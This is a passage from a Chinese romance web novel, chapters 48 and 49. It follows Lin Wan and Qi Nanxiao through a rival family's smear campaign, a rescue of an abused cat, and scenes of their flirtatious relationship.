莫白点头:“好,我这就安排下去。” 祁南骁继续道:“安抚好受伤人员还有他们的家属,能花钱解决就用钱解决。” “是。” 这件事也让祁、秦两家间的火药味更足了。秦东言先是想挖走林晚,后脚又开始拱火。 秦家投资的媒体号动用不少蓝V官方号正面硬刚祁家,秦家得不到那块地,也不愿让祁家好过。 这个时候把网民当棋子使攻击祁南骁。 祁南骁让莫白大张旗鼓的去给住院的那几个工人送钱,严惩包工头,同时揭露死者的家庭背景,以及死者被人买通后陷害工地想拉人一起死的事。 亲爸死了,儿子却住进豪宅开豪车成为网红,一夜之间圈粉百万。 两相比较下,越来越多的网友清醒过来。 —— 古香古色的四合院里,沈怀川站在落地窗前双手环抱于胸,身后的助理正在汇报着网上舆论的最新动向。 秦东言正在泡茶,慢悠悠道:“又一次给祁南骁逃脱了。” 沈怀川看着袅袅炊烟后面的秦东言,嘲讽道:“是啊,用一条命都没能将祁南骁的那块地炒作起来。” 秦东言抬眸,淡笑着说:“既然这个计划行不通,那就换下一个计划吧。” 沈怀川蹙眉,盯着对面神色不明的人问:“什么意思?” 秦东言品了一口茶才道:“美人计。” 沈怀川嗤笑一声:“这招祁南骁他妈已经不知给他用过多少次了,你觉得他还会上当?” 秦东言唇角勾起:“谁说是对付祁南骁了?” 他起身缓缓走到落地窗前背着手,缓缓道:“你去追求林晚,她从小对你有滤镜,这点很好追。追到手了,就足够恶心祁南骁的了。” 沈怀川冷着脸:“林晚不是我们这个圈子的人,别把她牵扯进来。” 秦东言转身,淡笑着道:“你觉得她身为祁南骁的妻子还能独善其身吗?与其让她跟着祁南骁吃苦,不如你把她追过来好好爱她,让她享福。难道你放心把你心爱的女人推给祁南骁?” 他说完静静的等待着沈怀川的回复。 寂静的室内,只有火炉的水沸声,沈怀川闭着眼,思索许久后才出声:“你有什么计划?” 秦东言勾起唇角,他知道自己赌对了。 “我建议你从林晚她亲生母亲那里入手,她是林晚目前活着的唯一血亲。你现在跟她打好关系,也许对接近林晚有帮助,毕竟血浓于水。” 沈怀川垂眸,让人看不清神色,许久后,他才开口:“好。” 第48章  “亲不到你想你了。”…… 送走磨人精祁南骁后, 林晚才得以闲下来逗猫遛狗。 回到柳山别墅的豆包活泼了许多,平时没事就在外面的草坪上乱跑,祁南骁还让阿辉抓了只小羊糕回来养。奶呼呼的小羊糕子还没豆包大, 全体毛发都是白色,毛茸茸的慢悠悠走在草坪上嚼着草。 豆包兴奋的围着它跑来跑去, 一会儿把羊赶到门口,一会儿又把羊赶回来,玩得不亦乐乎。体内的牧羊基因在此刻沸腾。 林晚知道祁南骁让人抱着羊回来时都愣住了, 十几万的草坪养羊就为了给豆包找乐子。祁南骁当时说要是没有豆包的示警, 他也不会第一时间发现她有危险, 既然他有条件给豆包最好的生活, 那么他就会尽全力去爱它。 林晚看着跑到她脚边躺地撒娇的豆包,揉揉它的肚子:“豆包, 想去上次那个狗狗乐园玩吗?” 豆包翻身趴在地上,歪脸蹭着林晚的手,咧嘴大笑,那神情还没出发就开始激动了。 “好, 姐姐这就带你去。” 林晚牵着豆包回家,在猫房碰到陈嫂打扫完卫生:“陈嫂, 你现在有空吗?” 陈嫂抬头,笑道:“有的。” 林晚道:“我们带蛋黄去宠物医院复检,顺便把豆包带去洗澡吧。” 陈嫂笑道:“好的。那我这就去安排司机。” 林晚点头, 一边拿出航空箱垫上毛毯。 “喵呜” 林晚还没走过去,就听到蛋黄软绵绵的叫声。 此时蛋黄正坐在它的小别墅里, 小爪子轻轻挠着玻璃门,渴求着要出来。经过陈嫂的细心照顾,不到一个月的蛋黄已经长大了一圈, 金色的毛发光泽柔顺,它的性格很乖巧,不爱动,嗜睡,最爱喝羊奶。 林晚打开玻璃门,把小家伙抱在怀里,揉了揉它呆萌的小脑袋:“姐姐带你去玩儿。 ” “喵?” 陈嫂回来后,林晚把蛋黄塞进航空箱里给她拎着。 阿辉已经把车停在家门口,林晚牵着尾巴甩来甩去的豆包上了车。 还是上次那家宠物医院,就在小区附近,这一片都是富人区,林晚看到小区里面还有个超市,冷冷清清。 陈嫂告诉她,这超市平时都是给富人服务的,所以平时看起来很少人。 林晚看着不远处简约设计风的超市,心里也很好奇:“陈嫂,我们回来时顺便去超市逛一逛吧。” “好。” 陈嫂今年已经五十多了,平时都穿着职业装,她在祁家工作也有二十多年了,对祁家这个阶级的人也有所了解。 见林晚好奇,她便给林晚讲一些小区里的事。这一片地区只有区区20栋别墅,在这寸土寸金的世界里,这20人能分别坐拥如此大的豪宅,非富即贵。 不远处还有好一片商业住宅,这片属于京市顶级豪宅圈。 林晚想起洛梵说的,这里出门能撞见的人身家最低也是百亿起步,如果你碰见不认识的还很低调的不用猜,人家背后肯定还有个大靠山。 车子停在宠物医院门口,林晚牵着豆包下车,陈嫂拎着航空箱。后面跟来的车子下来一个保镖,那是祁南骁安排给她的保镖,林晚跟他道:“我们就在宠物医院里面,你可以带着你的人在这附近喝喝咖啡,不用跟着我。” 保镖微微低头:“林小姐,我们不用喝咖啡,保护您的安全是我们的工作。” 林晚见状也只能随他去了。 进了宠物医院,陈嫂带着蛋黄去体检,豆包被护士牵着去洗澡。这里说是宠物医院,其实就是个大型的宠物综合型娱乐场所。 林晚坐在休息室里,服务员过来上茶点,隔着大片玻璃门,还能看见隔壁的狗狗乐园,都是一些名贵小型犬。个个穿着华丽的衣服,还有专人照顾。 休息室里坐着的几乎都是富太太,衣着光鲜亮丽,雍容华贵,林晚进去时被她们从头到脚的打量了一遍。她穿着朴素,拿着的包也只是个不起眼的帆布包,如果不是她的气质不错,大家还以为她就是个打工的。 “林小姐你好。” 林晚眼前出现一位全身上下都是翡翠的贵妇,年纪看起来三十多,手上还戴着个鸽子蛋大的翡翠戒指。 “你好。”虽然不知道对方为何会认识自己,林晚还是礼貌回应。 贵妇顺势坐在林晚身旁,笑道:“我认识你,你可能不认识。我家妞妞平时最喜欢的运动就是击剑了。你是她最喜欢的运动员。我叫李昕,我的丈夫是福睿地产的董事长,很高兴认识你。” 林晚笑着握住对方伸过的手:“你好。” “你今天也是带着狗狗来体检吗?” “是的,你也是吗?” “是啊,我家是一只棉花犬,就是那只站在柜子边的狗。” 林晚顺着李昕的视线看去,的确有只可爱的棉花犬,长得很可爱,一只18万,不愧是贵妇严选。 李昕不动声色的打量着眼前的林晚,乌发雪肤红唇,眉眼舒悦,睫毛浓密自带眼线,明明是张非常妩媚的脸,气质却十分英气。 她的确很漂亮,不单纯是长相,而是整个人的气场,这样的人不用刻意去讨好谁,坐在这里就自带吸引力。 这就是传说中的祁南骁带回家的女人。李昕不动声色收回打量的目光,一个女人还是能在祁南骁家里养宠物的女人。 不管她跟祁南骁是什么关系,她对祁南骁来说总归是与众不同的。李昕这么多年游走于贵妇圈,收集消息的能力自是一流的。 思及此,她笑着搭讪:“林小姐,你家狗狗呢?” 林晚有些不太适应这样的社交方式,但也能做到面不改色:“送去洗澡了。” “你家是什么狗狗呀?” “边牧。” “边牧好呀,边牧可聪明了,我以前也养过边牧” 就这样,林晚被迫和李昕客套寒暄了十几分钟,她能感受到李昕对她的好奇,不过李昕对她并没有恶意她便无所谓。 直到一道犀利的女声响起,林晚和李昕的寒暄才结束。 “医生,你快看看我们家布丁啊,它怎么会伤成这样。” 说话的女人一身黑色长裙,年纪看起来四十岁左右,她身后还跟着一个保姆还有一个男人。 保姆怀里抱着一只金渐层,猫毛上面满是血泽,慌里慌张的把猫放在治疗床上,金渐层痛苦的挣扎了下。 保姆就被女主人打了一巴掌,劈头盖脸的骂:“你怎么回事,你把布丁都弄疼了。你要是不能干就给我滚。” 保姆怯怯的缩在一旁,大气都不敢喘一下。 男人推开保姆,搂着女人一旁哄:“好了好了,宝宝不气了。” 医生查看好猫的伤势,深深蹙眉:“猫住的地方是有什么利器吗?” 女人问:“什么意思?” 医生指着猫的肚子道:“这个伤口很明显是利器刮伤的,而且它身上还有大大小小不少伤口,看起来不像是自然受伤。” 女人忽然嗓音尖锐起来:“你什么意思?我把猫带来是让你治病的,不是让你在这浪费我时间的,你能不能治,不能治就给我滚。” “宝宝,不气了。我去跟医生说说。”男人安抚着女人,声音柔情似水的,任谁看了都得夸他温文尔雅。 “抱歉,我女朋友是太关心布丁了。” 医生看了眼女人,又看了眼治疗车上的猫:“没事。我们能理解家属的心情。” “窦铭你干嘛跟他道歉,你没看到他刚刚防贼一样防着我们的眼神吗?布丁是我们的宝宝,难道我们还会伤害它吗?” 男人搂着女人继续哄:“好了宝宝,咱们先去休息室里休息,这里交给医生吧。” 林晚眼睁睁看着男人转身露出那张无比熟悉的脸,脑子一片空白,嗡嗡作响。 窦铭,窦儒笙跟他原配的儿子,他为什么会在这? 李昕叹气道:“他们家已经换了不止一只猫了,每次不是这里伤就是那里伤的。” 林晚挺直的身子有一瞬的颤了下:“他们虐猫?” 李昕似乎意识到自己说错话了,讪讪道:“啊?没有吧。” 林晚垂眸悄然握紧拳头,她想到蛋黄,祁南骁说它的妈妈就是被人给虐待而死的。 “那个女人也是住这附近的?”林晚垂眸,不动声色的问。 “对啊,她住在柳山别墅群里,0020户。”见林晚对这个女人有些兴趣,李昕有意讨好林晚,便把自己知道的脱口而出:“她叫陈雪茹,她前夫是周氏集团的话事人,去年心脏病发猝死了。她继承了她前夫的所有家产,现在就住在柳山别墅。” 林晚面色冰冷:“她身边那个男人是谁?” 李昕道:“她包的根呗,哦,就是她的小男友。” 林晚眼神看似平静,却散发着冷冽的寒意,她不动声色的盯着窦铭,十多年不见,他已经全然变了个样,唯一不变的就是那张跟窦儒笙年轻时几乎一模一样的脸,那种虚伪至极的脸。 窦铭进来时一眼就认出坐在主位的林晚,他那双漂亮的狐狸眼划过一抹诧异,而后若无其事的别开视线。 “小姐。”陈嫂走到林晚身边低声道:“蛋黄不知怎的,一直在叫。” 林晚起身,跟李昕道了个别便跟陈嫂走了。 那股熟悉的毛骨悚然在后背蔓延,林晚冷着脸走出休息室:“蛋黄体检结果怎么样?” 陈嫂道:“黄医生说蛋黄很健康,就是出来后跟变了只猫似的一直挣扎着。我只能把它放进航空箱里。” 林晚还没走近就听到蛋黄撕心裂肺的叫声,她把蛋黄放出来抱在怀里,蛋黄一直看着医生的治疗室叫,治疗室也传出虚弱的猫叫声似是回应。 林晚一切都明白了,她抱着蛋黄轻声安抚:“我知道,你放心我一定会让它平平安安回到你身边的。我会让你们重逢的。” 陈嫂还有些不明白,但看林晚的神情也不好说什么,拎着航空箱跟在林晚身后。 林晚心情不是很好,上了车后便把阿辉叫到车上问道:“你有没有什么办法可以在不犯法的情况下把刚刚那只受伤的金渐层给救出来?” 阿辉先是一愣,林小姐这是要他去‘偷’猫? 思考再三他道:“我可以买通她那个保姆,把猫偷偷放走。然后我再去把它抱回来。” 林晚眼眸微亮:“好,那这件事就交给你了,要尽快,那只金渐层现在还受着伤,万一回家后又被虐待,我怕它活不到明天。” 阿辉点头:“好的,您放心,我现在就去安排。” 陈嫂担忧道:“小姐,那只猫” 林晚摸了摸蛋黄的脑袋道:“应该是蛋黄的亲人,它妈妈就是被人虐待而死的,都是金渐层也都出现了被人虐待的痕迹,那只猫应该就是蛋黄的亲人了。” 陈嫂一脸心疼:“真是造孽,拿小动物出气算什么人啊。” 林晚不可置否,而且她怀疑虐猫的人就是窦铭,他们一家就跟得了疯病似的,骨子里带着虐杀的基因。她无论如何也要把那只叫布丁的金渐层给救出来,不能再让它被虐待了。 回到家后,林晚便一直待在猫房里,一边陪着蛋黄,一边看电影打发时间。 突然没了祁南骁那个黏人精,林晚还是有些不习惯。 平时恨不得24小时给她发消息的人,现在一个上午就只给她发了两条消息。一条说他到公司了,一条说他要开会了。 关上和祁南骁的聊天框,退出来时看到通知栏上的新闻推送。 林晚瞳孔微动,点开新闻。 是关于关市工业区工人斗殴事件的通报,3人重伤,1人死亡,5人轻伤,警方定性为打架斗殴。 但底下评论区很多人带节奏说蓝盛资本纵容包工头敛财,剥削工人。 还有人深扒了祁家世,发现祁家的不简单,引导舆论上升到阶级矛盾,最后甚至到了危及政/府公信力。 林晚越看越心惊,这一步步看似是在给大家捋清事件,实则是在抹黑祁家。想要让祁家成为危害政/府公信力的靶子。 好在,蓝盛资本那边的动作也很快,有人自称是那个死者工人的邻居,说这个工人经常赌博给擦边主播刷礼物,欠了一屁股高利贷。 前段时间死者被查出得了胰腺癌晚期,这病有钱人都治不好,更别说一个小老百姓了。 这个邻居在跟那个工人喝酒时,无意间听到他泄露有人给了他一笔巨款,让他死在工地上。 那个工人最后同意了,邻居本以为那是他喝醉酒后的胡言乱语。结果没想到过了两天,那个工人就死了。 而他儿子一家却突然发了财一样,又是搬家又是换豪车的。邻居觉得不对劲就一直留意着这件事。 关键是邻居不只是说说而已,他还提供了监控视频,是他家客厅的监控。 人证物证都在,这事一出,全网沸腾,很多网友本以为自己是在替天行道,正义感十足,结果发现自己被人利用了。 而死者的儿子不仅得了一套大平层,还换了辆宝马,还因为这件事的热度给自己涨粉百万一越成为互联网大网红。 许多网友觉得自己被骗了,当初有多同情他们一家人现在就有多气愤他们一家人。 舆论再次陷入混乱,知道祁家没有影响后,林晚便没有再继续刷下去。 只是有些唏嘘那个死去的工人,如果自己到了他那个地步,身患绝症有人出钱买他的命,给他子孙豪宅、豪车,自己会不会跟他做出一样的选择? 林晚长叹一口气,难怪祁南骁一早上都没找她,估计也是在忙这些事吧。 —— 一直到中午吃午饭时,祁南骁才有空打视频过来。 林晚接通视频,就看到祁南骁那张过分帅气的脸:“小晚,我想你了。” 林晚笑着道:“早上不是才见过?有什么好想的。” 祁南骁靠在落地窗前,嘴角上扬,鼻梁高挺:“亲不到你想你了。” 林晚庆幸自己戴着耳机,不然这人肉麻的话家里的佣人都能听见:“你就不能干点正经事,整天想东想西。” 祁南骁道:“怎么现在才吃午饭?” 林晚喝着汤道:“之前不饿。” 祁南骁道:“那你快点吃饭,过了饭点不吃对胃不好。” “好。” 听着祁南骁那边嘈杂的声音,林晚好奇道:“你不在公司吗?” 祁南骁抽了口烟,点头:“有个饭局,就出来吃了。” 林晚眉梢微抬:“那你去忙吧,我要专心吃螃蟹了。” “你亲我一下,我就挂视频。” 林晚瞪了他一眼:“你别得寸进尺。” “不亲留着等我回去了再亲。” 林晚:“再见。” 祁南骁看着已经挂断的视频,嘴角的笑意越发浓烈。夹着烟走到大厅,方茗泽和梁景宸他们已经到了。 几人一坐下几网上舆论的事聊了起来,方茗泽道:“我想不通,他们就为了一套房连命都愿意赔进去。” 祁南骁抽了口烟,平静道:“别用你生来就拥有的东西跟人家奋斗毕生才能得到的东西做比较,能力分高低,但出身这种事不是光凭能力就能彻底解决的。” 方茗泽稀奇的看着他道:“可以啊,你现在都学会换位思考了。” 祁南骁抿唇,不搭理他。 梁景宸道:“秦家在背后煽风点火。” 方茗泽侧头看着祁南骁,蹙眉道:“秦家是想干什么?这种得不到就毁掉的作风可不像他们家在公家面前的处事原则。” 祁南骁点了点烟灰,平静道:“他想把祁家推出来转移视线。” 梁景宸道:“把注意力专业到你们家,他们才好搞大动作。” 推了推眼镜,梁景宸继续道:“秦家这么多年来一直坚持不懈培养男人、女人去接近某些人。” 方茗泽鄙夷道:“大清都亡了,还喜欢玩这套。” 梁景宸道:“不可否认,这一招很好使不是吗?就连你曾经都差点着了美人计。” 方茗泽讪讪道:“行了,黑历史就别提了。” 梁景宸继续道:“你们就没怀疑秦家之前在有人高升的阶段突然高调出来跟咱们抢关市的地皮,这件事本身就很离奇吗?” 方茗泽:“没看出来。” 祁南骁垂眸,思考半晌,眼眸微眯道:“他们故意的,声东击西。” 梁景宸点头:“他们最终目的是南市,在南市高层安排自己人上。” 祁南骁给梁景宸递了根烟示意他继续。 梁景宸道:“还记得海城前首富窦家吗?窦家曾经的掌权人因为一起虐待案进了监狱,出来后便一直很低调,却依然被海城多方势力围剿,最后只能逃离海城,到南市重新开始。也是在那段时间,窦儒笙现在应该叫他窦明笙了,他攀上了秦家下面的人,当了秦家的白手套。不过,这个窦明笙很谨慎,他联合结拜兄弟开始创业,在南市搞起会所、放贷生意。在短短十年间快速敛财,洗白转型。这个海笙集团原本明面上是赵海为话事人,但实际控制权都在窦明笙手里。” 祁南骁听到窦儒笙的那一刻,动了杀心,那个虐待林晚的畜生,居然改头换面再次成了富豪。 梁景宸点了根烟继续道:“就在两个月前,赵海突发脑溢血抢救无效身亡。海笙集团董事会推荐窦明笙为集团董事长。” 方茗泽沉思:“怎么偏偏是两个月前?” 祁南骁嗤笑一声:“那个时候,秦家换门庭了地位稳了。” 方茗泽道:“那这次设计关市的事又是什么意思?” 梁景宸道:“南市那边一定有什么大动作,他们急于掩盖。” 祁南骁没出声,抽了最后一口烟,把烟头按灭在烟灰缸里,看着梁景宸突然开口:“你刚刚说窦儒笙做的是什么生意?” 梁景宸道:“会所、放贷。” 祁南骁平静的开口:“黄、赌都沾了。” 方茗泽鄙夷道:“手里头的钱就没有干净的。” 祁南骁又点了根烟,俊逸的面孔被烟雾裹着,看不起眼底神情,他靠在沙发上,眼底划过一抹光:“那边是真不知还是睁一只眼闭一只眼?” 梁景宸和方茗泽同时抬眸深深的看着祁南骁。 —— “林小姐,猫我偷回来了。” 阿辉的话让正在做甜品的林晚吓一跳,她回过神来道:“怎么能说是偷,分明是我们捡的” 阿辉点头道:“对,我捡的。” 林晚快速洗干净手,把航空箱接过来,阿辉提醒道:“林小姐,要小心,这只猫凶的很,无差别攻击靠近它的人。” 林晚闻言更心疼它了:“没关系,我会注意着点的。谢谢你,阿辉,这里有几个蛋挞你拿些出去跟兄弟们分了吃。” “不用不用,这些都是我应该做的。” 林晚不顾他推辞,执意装了满满五大盒蛋挞,还有一些水果,饮料什么的递给阿辉:“快拿去给分着吃,就当我请你们吃下午茶了。” 阿辉受宠若惊,心想您亲手做的,他们南哥都还没吃到,他们怎么敢第一时间吃,想归想,他也不敢忤逆林晚意思,乖乖提着两个大袋子出门。 一路穿过大草坪,就在靠近大铁门时,铁门突然打开,一辆黑色宾利驶了进来。阿辉心惊肉跳,下意识想把袋子藏起来,却被祁南骁先一步看到了。 车子停下,祁南骁降下车窗,看着阿辉道:“干什么?” 阿辉老老实实回答:“林小姐送给我们兄弟几个一些吃的。” 祁南骁光看那袋子里的东西就是知道那是林晚亲手做的,外面买的可不是这么包装的。 “给你你就拿着,鬼鬼祟祟做什么。” 阿辉心想还不是怕您看见了吃味,面上笑道:“是是是,我这就走。” 祁南骁让司机加快车子,他已经迫不及待想看见林晚了。 推门而入,扑面而来的是甜丝丝的空气,林晚果然做了甜品。 祁南骁换了鞋子加快步伐路过猫房时恰好看见林晚在里面,她正在安抚一只暴躁的猫。 祁南骁怕她受伤立马走过去,原本已经老实的布丁闻见陌生人的气息靠近重新变得不安起来。 林晚回头看见是祁南骁没好气的瞪了他一眼,只能让布丁自己待一会适应环境了。 “哪来的猫?” 林晚不等祁南骁话说完拉着他就往外走:“我找到那个虐待猫的人家了。” 祁南骁脚步一顿:“是谁?” 林晚道:“就是0020户那家。” 祁南骁思忖半晌也没想起那家人是谁。 林晚抿了抿唇道:“他们早上把猫送去医院,医生看见猫的伤口就知道是有人虐猫。而且那个人很有可能就是窦铭,他是窦儒笙的亲生儿子。” 祁南骁瞳孔微动,一股恨意涌上心头:“他为什么会出现在柳山别墅?” 林晚沉声道:“他被那家女主人包养了。” 祁南骁没说话,他在想先是窦儒笙抢回海笙集团的董事长位子,又有周惠暗中调查林晚,现在又来了个窦铭出现在柳山别墅附近。这一家人到底想做什么,如果可以他真想让他们几个彻底消失。 否则,他们只要还出现,林晚的恐惧就不会减少。 林晚不知道祁南骁想什么,她把祁南骁带到厨房,给他一个蛋挞:“吃吃看,好不好吃。” 祁南骁垂眸,看着林晚那张漂亮干净的脸,心里心疼却不敢在脸上表现出来,尝了口蛋挞,笑着道:“好吃。” 林晚唇角上扬,拿了个蛋挞咬下一口:“还是有点太甜了,下次再把糖放少点就行了。” 没听见回答,林晚抬眸就看到祁南骁忽然低头朝着她而来。 祁南骁低头,准确无误的亲在她唇角,林晚僵在原地,像是被人点了哑穴,一动不动。 祁南骁抬起她的下巴,林晚垂着睫毛,还是看到他越来越靠近,而后是温凉软润的触感,闭上眼睛,她甚至能感受到他的唇线位置。 寻着唇珠细细碾过,吸吮、轻碾、细咬 静谧的厨房里,身后是一片橙红色的落日,洒下来的光晕,在两人身边晕出一道彩色的弧度。 没人打扰,祁南骁吻从一开始的细细轻碾到逐渐放肆火热 第49章 第 49 章(改标题) “你要睡哪里…… 四点的阳光明媚干净, 薄薄的日光透过落地窗悄悄匀在两人的身上,丝丝流光下,几乎可以看到光线里的颗粒在空气中跳跃, 厨房岛台前,祁南骁勾着林晚的腰转了半圈, 让她坐在大理石桌上。 浅尝辄止却意犹未尽。 祁南骁松开人,抬手将她垂落在耳边的一缕碎发轻轻别去耳后,指腹无意捻着耳垂, 像是电流穿过在心尖捻燃火焰。 两人面对面, 祁南骁看着林晚, 林晚看着他的胸膛, 冷静了好一会儿,祁南骁先顶不住转身去找冰水。 林晚抬眸视线落在他衣摆下方, 轮廓明显的地方。 嘴角微动,天天这样憋着也不知道会不会憋坏 祁南骁余光瞧见了,咽下冰水,忽然开口道:“在想什么?” 林晚别开视线:“没什么。” 祁南骁走过来双手撑在林晚的两侧将她圈在桌子上, 眼底含着笑:“你眼睛一直盯着我那里看是什么意思?” 他身上还有冰块的凉意,林晚瞪着他不说话。 祁南骁继续道:“好奇?” 他低头蹭着林晚的耳朵, 声音慵懒低沉:“跟我回房,我给你看。” 林晚血气翻涌,不就是欺负她没吃过猪肉会害羞吗?每次都是祁南骁故意撩拨她, 一副能吃定她的样子。 那她偏偏不如他意,努力平心静气, 林晚踢掉拖鞋,慢条斯理的踩在他大腿上,作势要把他推开。 祁南骁垂眸视线落在林晚薄纱长裙上, 隐约可以看见她白皙如雨的美腿,光滑细腻,脚踝纤细,脚背青筋如镶嵌在玉石里的翡翠,根本无法移开目光,好漂亮好可爱。  他目光盯着林晚的移动的脚踝,直到停留在他衣摆下方,他忍不住咽了下喉结,气息越发急促。 林晚好整以暇的看着祁南骁,故意不笑,眼看着他的眸色越发炙热,在他伸手想要握住她的脚踝时,她果断撤回转身就走。 祁南骁目标直直的盯着她,眼底闪过一丝危险,见她要走,他突然迈步,从后面抱住她,林晚挣了一下,双臂也被他揽在怀里,动弹不得。 林晚一个刺激,浑身起鸡皮疙瘩,她的身体是紧绷的:“祁南骁。” 祁南骁低头,无意识的蹭着她的耳垂。 林晚被他蹭得发痒,她挣扎着闪躲。 祁南骁不管不顾就这样从背后一直抱着她,直到林晚忍无可忍:“自己去解决。” “嗯?” “别装傻,你抱着我也没用。”林晚要咬牙切齿道。 祁南骁低笑出声,他以为只要抱着她就好,没想到越抱越折磨人 他松开手臂,林晚抬腿离开:“快点,待会还要去看爷爷。” 祁南骁挺想把她抓回来的,最终还是忍住了,这种事得温水煮青蛙,一步步慢慢来。 “我上楼洗澡了。” “赶紧的。” 直到祁南骁上楼,林晚才又回到厨房把甜品装盒,脑海里祁南骁抱着她粗喘的气息久久难以散去。 这都第几次了,他怎么那么容易有反应? 老是这样憋着不会憋出内伤吧,他毕竟也二十九了,也老大不小了 瞥见大理石桌上的手机,林晚忍不住拿起点开红薯APP,输入框里输入‘男人’二字就出现:男人过了30就不行。 手比脑子快点了进去。 —— 二十分钟后,祁南骁从楼上下来,穿着件白色衬衫,头发半干未干,一走近,林晚就闻到他身上熟悉的沐浴露香味,气味不重,却很有攻击性,沁心入肺。 “这些是什么?”祁南骁看着桌子上的保温盒问道。 林晚随口道:“带给爷爷的甜品。” 祁南骁帮忙提袋子,两人往门口走去。 林晚这才注意到祁南骁的领带是暗蓝色的,跟她今天穿的这件水蓝色长裙莫名很搭配。 祁南骁扯了下领口,随口道:“好看吗?特意跟你穿的情侣装。” 林晚脑海里浮现祁南骁站在镜子前不断试领带的样子,笑着道:“好看。” 到了玄关,林晚要换鞋,但鞋子是小白鞋,要系鞋带,她正要找个位置坐下,祁南骁先她一步蹲下身,利落的帮她系好。 林晚垂目睨着脚边宽肩阔背的身影,虽然两人已经在一起了,但她仍旧有些不好意思。 祁南骁系好鞋带,起身之际故意握住她的小腿轻轻摩挲一下,撩拨之意十足。 林晚被激得想一脚踹飞他,头也不转直接走了。 祁南骁笑着跟上林晚的步伐,拉起她的手。 林晚果断抽回手,祁南骁又黏了上去拉着她的手,十指相扣。 林晚直接气笑了。 祁南骁给她开门,林晚看都不看他直接上了车。 祁南骁绕到另一边,刚要上车,一道白色的影子比他先一步跑进车子。 林晚吓一跳:“豆包。” 豆包跑进车子就乖乖坐在地毯上,咧嘴卖萌。 林晚微微蹙眉道:“不行,你不能去。” 豆包:“呜呜。” 可怜巴巴的转头看着祁南骁。 祁南骁道:“要不就带着它吧。” 林晚蹙眉:“可是我们是去疗养院,那边有很多医疗器械,带它真的好吗?” 祁南骁坐进车子,摸了摸豆包的脑袋道:“没关系,疗养院很大,豆包又这么乖,不碍事。” 豆包回头蹭着祁南骁的腿,那神情仿佛他俩全世界最好了。 林晚没眼看,默认了。 司机启动车子就按下中控隔绝前后座。 林晚微微侧头道:“关市工地的事是怎么回事?” 祁南骁笑容微顿,开口道:“秦东言手底下的人搞得鬼。” 林晚有些震惊:“秦东言?” 祁南骁一门心思给林晚上眼药:“是。他家跟我们家一直不对付。关市那块地,他们也想要。只不过没本事从我这里抢走,就使些阴招恶心人。” 林晚想到梁子超跟她的,秦,祁两家一直有恩怨。 “死者的家人怎么处理?” 祁南骁拉着脸道:“老的死前还想拉其他工人一起死,被包工头找人拦住了。” “老的死了,想把钱留给小的享受,自己想死找个没人的地方,爱怎么死怎么死 ,死也要拉着别人垫背,这种人我让他子孙有命也没钱花。” 习惯了祁南骁嬉皮笑脸的样子,突然看见他恢复薄情疏冷的臭脸,林晚一时还有点不习惯,还是那么的桀骜不驯:“好了,别气了。这些事交给警察去处理就行。” 见他不说话,林晚出声道:“你别亲自动手,这个时候,你别出面去对付人家。别给人家递话柄。” 祁南骁蹙眉。 林晚平静的道:“无论事情真相如何,对方作为弱势群体在舆论方面本就占据优势。最好的办法就是交给法律去审判。他们只是一颗被人利用的棋子,没必要要你亲自出面去报复。” 祁南骁叹了口气道:“好,我听你的。” 林晚笑了,她的笑容很漂亮,连带着眼尾弯弯,像月亮。 祁南骁:“全家我就只听你跟爷爷的。” 林晚看着他,再看看地上的豆包,莫名想笑,抬手摸了摸他的头:“真乖。” 摸完,林晚才意识到男人的头跟女人的腰一样不能随便摸,她抽回手。 祁南骁直接靠在林晚肩膀上,抓着她的手放自己额头上,看着她:“再来一次。” 林晚:“……” 她不想摸了,祁南骁抓着她的手不放。 林晚挣扎道:“我刚刚摸狗了。” “我不介意。” “不行。” 祁南骁拉着她的手,眨了眨眼:“你让我不干什么,我就不干,我是不是很听话?” 林晚挣扎抽回手,发现根本抽不动,随口道:“还行。” “剩下的差哪儿了?” 林晚说:“有时候听不懂人话。” 祁南骁侧头不明所以:“哪里不听话了,你说出来,我改。” 林晚回视,面无表情道:“我让你别亲的时候,你听了吗?” 祁南骁低笑一声:“那不能,谈恋爱不就是这样,亲亲抱抱摸摸。” 林晚抬眸,拍掉他的手,很是无语。 祁南骁拉着她的手亲了一口,笑道:“你想什么呢,我分明说的是摸你的手。” 林晚道:“那你把你的手从我腰上拿走。” 祁南骁:“腰也算。” 林晚扯开在她腰上做乱的手,他很快又摸了回来。 信男人的话,不如信母猪会上树 林晚不说话了,祁南骁亲了下她的脸颊道:“还没下班我就忍不住提前回来见你了,你想我没?” 林晚心底翻了个白眼:“你早退关我什么事?” 祁南骁低头蹭着她的脖颈,低声道:“我可想你了。” 林晚无情的推开他:“还想洗冷水澡?” 祁南骁低笑一声,声音闷闷的:“不想,我想要你。” 林晚心跳如麻:“忍着。” 祁南骁低沉道:“忍不了怎么办?” 林晚道:“以前没我的时候,你不也这么过来了吗?” 祁南骁盯着林晚的脸,声音低沉蛊惑:“没见到你之前没感觉,见到你之后满脑子都是你。” 豆包坐在地上,眼睛亮晶晶的看着两人由如两个大灯泡。 林晚无情的把祁南骁从自己身上推开,祁南骁还想黏过来。 这时电话响,林晚借着接电话的功夫侧着身子看向窗外。 祁南骁却搂着她的腰把人拉进怀里。 林晚惊呼,回头瞪着他。 “喂?林晚?”手机里传出声音。 林晚忙道:“我在。” 江逸道:“明天有时间吗?我生日,请你们一起吃个饭。” “有的。什么时候,” 感受到腰上的手故意恶作剧的捏了她一下,林晚抬手轻拍他的脑袋。 祁南骁眨了眨眼,继续我行我素。 江逸道:“明天晚上吧,在余鹤饭店。” 林晚:“好。我明天晚上过去。” “明天见。” 两人互相寒暄几句完,林晚才挂了电话。 祁南骁从旁幽幽道:“明天晚上要出去?” 林晚点头:“江逸生日,请我们去庆祝。” 祁南骁不开心了:“又让我独守空房。” 林晚侧头看着他道:“你以前不是一个人睡的? ” 祁南骁勾起唇角道:“一直都是一个人,不信你可以晚上去查我房。” 林晚一时无言以对,暗道男人都一个样,一天到晚就想着拐女朋友上床。 祁南骁岔开话题:“明天中午要不要跟我去见我朋友?” 林晚好奇道:“都有谁?” 祁南骁道:“方茗泽你上次见过,在雍雅楼。梁景宸,梁子超的表哥。” 梁子超跟他母亲姓,跟梁景宸同姓也是表兄弟。 林晚想了下,两人现在已经结婚了,认识对方的圈子也是有必要的,点头:“好。” “之前那个女明星传闻背后的金主是方茗泽,是真的吗?”林晚忽然想起洛梵跟她八卦的事,她一时也好奇。 祁南骁想也没想就道:“记不住,他换的女人太多了。” 林晚笑了:“你怎么没包养一个?” 祁南骁侧头,勾起唇角笑道:“我有你一个就够了。我是为你守身到现在的。” 林晚:“……” 两人说话间,车子已经开进疗养院,停在一栋独立别墅内,司机熄火,下车开门。 祁南骁牵着林晚往里头。 